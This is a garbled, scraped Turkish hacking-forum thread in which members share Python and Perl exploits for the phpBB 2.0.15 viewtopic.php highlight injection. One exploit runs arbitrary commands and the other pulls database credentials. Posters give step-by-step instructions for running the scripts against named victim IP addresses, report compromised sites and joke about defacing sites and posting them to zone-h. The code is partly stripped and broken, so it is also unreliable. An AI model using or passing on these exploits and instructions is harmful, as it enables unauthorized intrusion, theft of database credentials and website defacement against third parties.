bi b. k anlamadm walla... pro nerde neyi nerde ve nasıl kullanacağız? sanki bunları sadece bilenler kendi aralarında paylaşıyorlarmı... yanii.. ne bilim hocam ğretmenlik yapacak birileri... eğitim şart dimi ama bi ara doldururum

DİKKAT:Az ewwel yazmıs oldugum cevapta yanlıslık var80 yerine 20 veya 8 Gelicek!!!!!!5-6Dk nceki hacked. cok güzel bi sekilde calısıyor

Evet açık çok baba geçmeden millet uyanmadan indirin işte. Umursamaz Tavrımın Hastası Olunuz.

Domain Adresini degil Sitenin Ip Adresini yazman gerekiyor ///////////////////C:\Perl\bin>perl phpbbSecureD. pl 82.222.180.50 /akvadi/ 80+ | PhpBB 2.0.15 Database Authentication Details Exploit || By SecureD gvr. secured<AT>gmail<DOT>com |+ Connecting OK Sending exploit FAILED///////////////////

#!/usr/bin/pyth0nprint "\nphpBB 2.0.15 arbitrary command execution eXploit" print " 2005 by rattle@awarenetwork. org" print " well, just because there is none." import sys from urllib2 import Request, urlopenfrom urlparse import urlparse, urlunparsefrom urllib import quote as quote_plusINITTAG = '<g0>'ENDTAG = '</g0>'def makecmd :return reduce(lambda x, y: x+'. chr '%ord , cmd ,'chr '%ord(cmd ))_ex = "%sviewtopic. php?t=%s&highlight=%%27."_ex += "printf(" + makecmd + "). system ."_ex += "printf(" + makecmd + ").%%27"def usage :print """Usage: %s <forum> <topic>forum - fully qualified url to the forumexample: http://www.host.com/phpBB/topic - ID of an existing topic. Well you will have to check yourself.""" % sys. argv ; sys. exit(1)if name ' main ':if len < 3 or not sys. argv . isdigit :usage else:printurl = sys. argv if url. count 0: url = "http://" + urlurl = list(urlparse host = url if not host: usage if not url : url = 'http'if not url : url = '/'url = url = url = ''url = urlunparse if url != '/': url += '/'topic = quote_plus((sys. argv ))while 1:try:cmd = raw_input . strip if cmd ';': cmd=cmd if : breakelse: cmd = makecmd out = _ex % try: ret = urlopen(Request . read except KeyboardInterrupt: continueexcept: passelse:ret = ret. split(INITTAG,1)if len >1: ret = ret . split(ENDTAG,1)if len >1:ret = ret . strip ;if ret: print retcontinue;print "EXPLOIT FAILED"except:continue Bu exploit python dilinde yazılmış bunu perl'de derleyemessin bunu python da derlemen lazım

:ben perl/bin dizinine exploiti "phpbbSecureD. pl" şeklinde kaydetim perli açıp alttaki kod satırını yazdım ama kabul etmedi. Site rnektir.. perl phpbbSecureD. pl www.akvadi.com /akvadi/ 80Semicolon seems to be missing hatası veriyor neyi yanlış yapıyorum?aynı hatayı bende de veriyor.

:bi b. k anlamadm walla... pro nerde neyi nerde ve nasıl kullanacağız? sanki bunları sadece bilenler kendi aralarında paylaşıyorlarmı... yanii.. ne bilim hocam ğretmenlik yapacak birileri... eğitim şart dimi amagüzel kardeşim istersen sen hacklemek istediğin site adreslerini ver hatta verme biz google dan buluruz senin yerine index atalım hatta zone-h ye ekleyelim senin yerine?arkadaş anlatmış dosyayı kaydet perl in bin dizininde şu şekilde çalıştır demiş hatta screenshot bile koymuş bunuda yapamıyosanız dediğim gibi sizin yerinize index atalım?

hepinize teşekkür ediyorum benim hatam kullandığım perlden kaynaklanıyormuş arkadaşın verdiği linkten activeperl ü indirip kurunca olay çzüldü. dküman için de ayrıca teşekkürler seer

bu php php nuke bunların patchlerini indirin içinde yazıyor nerde ne eksik olduğu ftw

-Klasor Secenekleri>Grünüm>Bilinen Dosya türleri icin uzantıları gizleSecenegini kaldırınDosyalar artık uzantılarıyla grünücek rn:seer. txt-ir2 nin yayınlamıs oldugu kodları kopyalayın. yeni bir txt dosyası olusturundosyayı phpBBSecureD. pl seklinde kaydedin. txt uzantısı yerine pl gelicek-Kod hazır. Bunu kuracagımız Active Perl in "Bin" dizini altına atıyoruzActive Perli www.activeperl.com den indiriyorsunuz:)-Perli kuruyorsunuz-Komut sistemine gelip "cd.." yapıyoruz taki C:\ kk dizinine gelene kadar-Sonra screnshoot ta gstermiş olduklarımı uygularsanız tamadır/////NOTlar://///-Domain degil ip adresi yazıyoruzAkvadi.com degilde akvadinin ipsi :):) )-explotin nasıl calıstıgını grenmek icin"perl exploitadi. pl" veya "perl exploitadi. pl -h www.domainadi.com" seklinde uygulamıs oluyoruzSize Ex'in nasıl kullanılacagını Exploit anlatıyor-Perl i kullanmak icin DOS komutlarını bilmekte fayda var-FiSTaNDaNTiLuS adlı arkadasa msnde anlattım. Ona basvura bilirsiniz:)Kolay gelsin bundan fazlasını birsey beklemeyin. Seer...

Kullanmıs oldugum ir2 nin vermiş oldugu Pl exploitidir! Herhangi bir yerden bulmadım! Tesekkurler ir2:)Perl Exploiti nedir?nasıl kullanılır diyenler icin DokumanBuyrun takıldıgınız yerde foruma yazın veya mailden ulasınKolay gelsin

2 Sebebi var1. si O sitede exploitin mevcut olmaması2. si Yanlıs deger girmen(rn: /forumlarimiz/ seklinde bi forum yolu olsun bunu dikkatsizlik sonucu /forum/ seklinde calıstırman. veya vb seyler

ben perl/bin dizinine exploiti "phpbbSecureD. pl" şeklinde kaydetim perli açıp alttaki kod satırını yazdım ama kabul etmedi. Site rnektir.. perl phpbbSecureD. pl www.akvadi.com /akvadi/ 80Semicolon seems to be missing hatası veriyor neyi yanlış yapıyorum? Fakat syleyin kardeşlerim; insanlığın bir ereği eksikse, eksik değil midir- bizzat kendisi de?

phyt0n hatası verenler aşşağıdaki ex e aynı uygulamaları yapın bende vermiyor..#!/usr/bin/perl# # # phpBB 2.0.15 Viewtopic. PHP Remote Code Execution Vulnerability # This exploit gives the user all the details about the database # connection such as database host, username, password and # database name.# # Written by SecureD, gvr. secured<AT>gmail<DOT>com,2005 # # Greetings to GvR, Jumento, PP, CKrew & friends# # use IO::Socket;print "+ +\r\n";print "| PhpBB 2.0.15 Database Authentication Details Exploit |\r\n";print "| By SecureD gvr. secured<AT>gmail<DOT>com |\r\n";print "+ +\r\n";if (@ARGV < 3) $serv = $ARGV ;$dir = $ARGV ;$threadid = $ARGV ;$cookie = $ARGV ;$serv = s/http:\/\///ge;$delimit = "GvRSecureD";$sploit = $dir. "viewtopic. php?t=";$sploit.= $threadid;$sploit.= "&highlight='. printf .'";$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80")or die " Connecting... Could not connect to host.\n\n";print " Connecting OK\n";sleep(1);print " Sending exploit ";print $sock "GET $sploit HTTP/1.1\r\n";print $sock "Host: $serv\r\n";if print $sock "Connection: close\r\n\r\n";$succes = 0;while {$delimitIndex = index $answer, $delimit;if ($delimitIndex >= 0) {$succes = 1;$urlIndex = index $answer, "href";if ($urlIndex < 0){$answer = substr($answer, length ;$length = 0;while (length > 0) {$nex = index ;if ($nex > 0) else }}}}close ;if ($succes 1) else Fakat syleyin kardeşlerim; insanlığın bir ereği eksikse, eksik değil midir- bizzat kendisi de?

interpreter'a dikkat sistemde pyth0n olması lazım. çaliştırabilmek için.

Rica ederim. Gelirisi gelicek allahın izinyleMCSE üzerinde yazmayı planlıyorum. bakalım artık

:phyt0n hatası verenler aşşağıdaki ex e aynı uygulamaları yapın bende vermiyor..#!/usr/bin/perl# # # phpBB 2.0.15 Viewtopic. PHP Remote Code Execution Vulnerability # This exploit gives the user all the details about the database # connection such as database host, username, password and # database name.# # Written by SecureD, gvr. secured<AT>gmail<DOT>com,2005 # # Greetings to GvR, Jumento, PP, CKrew & friends# # use IO::Socket;print "+ +\r\n";print "| PhpBB 2.0.15 Database Authentication Details Exploit |\r\n";print "| By SecureD gvr. secured<AT>gmail<DOT>com |\r\n";print "+ +\r\n";if (@ARGV < 3) $serv = $ARGV ;$dir = $ARGV ;$threadid = $ARGV ;$cookie = $ARGV ;$serv = s/http:\/\///ge;$delimit = "GvRSecureD";$sploit = $dir. "viewtopic. php?t=";$sploit.= $threadid;$sploit.= "&highlight='. printf .'";$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80")or die " Connecting... Could not connect to host.\n\n";print " Connecting OK\n";sleep(1);print " Sending exploit ";print $sock "GET $sploit HTTP/1.1\r\n";print $sock "Host: $serv\r\n";if print $sock "Connection: close\r\n\r\n";$succes = 0;while {$delimitIndex = index $answer, $delimit;if ($delimitIndex >= 0) {$succes = 1;$urlIndex = index $answer, "href";if ($urlIndex < 0){$answer = substr($answer, length ;$length = 0;while (length > 0) {$nex = index ;if ($nex > 0) else }}}}close ;if ($succes 1) else dostum senın verdıgın kod DB sifresini vermıyor mu? ir2 ninde verdigi kod DB sifresini mi verio?

bununla phpBB 2.0.15 versionlu forumlarda PHP kodu çalıştırabilirsiniz#!/usr/bin/pyth0nprint "\nphpBB 2.0.15 arbitrary command execution eXploit" print " 2005 by rattle@awarenetwork. org" print " well, just because there is none." import sys from urllib2 import Request, urlopenfrom urlparse import urlparse, urlunparsefrom urllib import quote as quote_plusINITTAG = '<g0>'ENDTAG = '</g0>'def makecmd :return reduce(lambda x, y: x+'. chr '%ord , cmd ,'chr '%ord(cmd ))_ex = "%sviewtopic. php?t=%s&highlight=%%27."_ex += "printf(" + makecmd + "). system ."_ex += "printf(" + makecmd + ").%%27"def usage :print """Usage: %s <forum> <topic>forum - fully qualified url to the forumexample: http://www.host.com/phpBB/topic - ID of an existing topic. Well you will have to check yourself.""" % sys. argv ; sys. exit(1)if name ' main ':if len < 3 or not sys. argv . isdigit :usage else:printurl = sys. argv if url. count 0: url = "http://" + urlurl = list(urlparse host = url if not host: usage if not url : url = 'http'if not url : url = '/'url = url = url = ''url = urlunparse if url != '/': url += '/'topic = quote_plus((sys. argv ))while 1:try:cmd = raw_input . strip if cmd ';': cmd=cmd if : breakelse: cmd = makecmd out = _ex % try: ret = urlopen(Request . read except KeyboardInterrupt: continueexcept: passelse:ret = ret. split(INITTAG,1)if len >1: ret = ret . split(ENDTAG,1)if len >1:ret = ret . strip ;if ret: print retcontinue;print "EXPLOIT FAILED"except:continue

:DİKKAT:Az ewwel yazmıs oldugum cevapta yanlıslık var80 yerine 20 veya 8 Gelicek!!!!!!5-6Dk nceki hacked. cok güzel bi sekilde calısıyorbu arada yukarıdaki kod ile senin kodun aynı değilmiş galiba seer www.milw0rm.com dan sendeki kodu indirdim bu sefer de can't locate IO/socket. pm hatası aldım dosyayı google da aratıp kopyaladım ama ilk satırda hata buldu bu sefer. herhalde yanlış dosya indirdim bana bu dosyayı verebilirmisiniz.

yalnız benim bir sorum daha olacak forumun versiyonu phpBB 2.0.15 olduğu kesin olduğu halde connecting oksending exploit faileddemesinin ne gibi sebepleri olabilir. yani kullandığı server fln engellemiş olabilir mi yoksa hata kesinlikle bendemi yani kodun parametrelerini yanlış girmek fln gibi. bende hata yok gibi gzüküyor çünkü seerin screen shotındaki ip yi girdim ve aynı cevabı aldım. ama diğer site de failed yazdı.

Yine olmadı. Bende eprlin eski versiyonu fln mı var. txt şeklinde oluyor. pl uzantısıyla kaydetsende. Runlamıyor.. Seer hocam PM ye bakar mısın.. Fakat syleyin kardeşlerim; insanlığın bir ereği eksikse, eksik değil midir- bizzat kendisi de?

S. aExploit Calısıyor. Herhangi bir hata ile karsılamasmadımrn kullanım:"perl phpbbSecureD. pl 66.118.142.80 /httpdocs/ 80" sekinde calıstırabilirsinzKurban Site Ipsi: 66.118.142.80PhpBB nin bulundugu dizin: /httpdocs/Saldırılacak Port: 80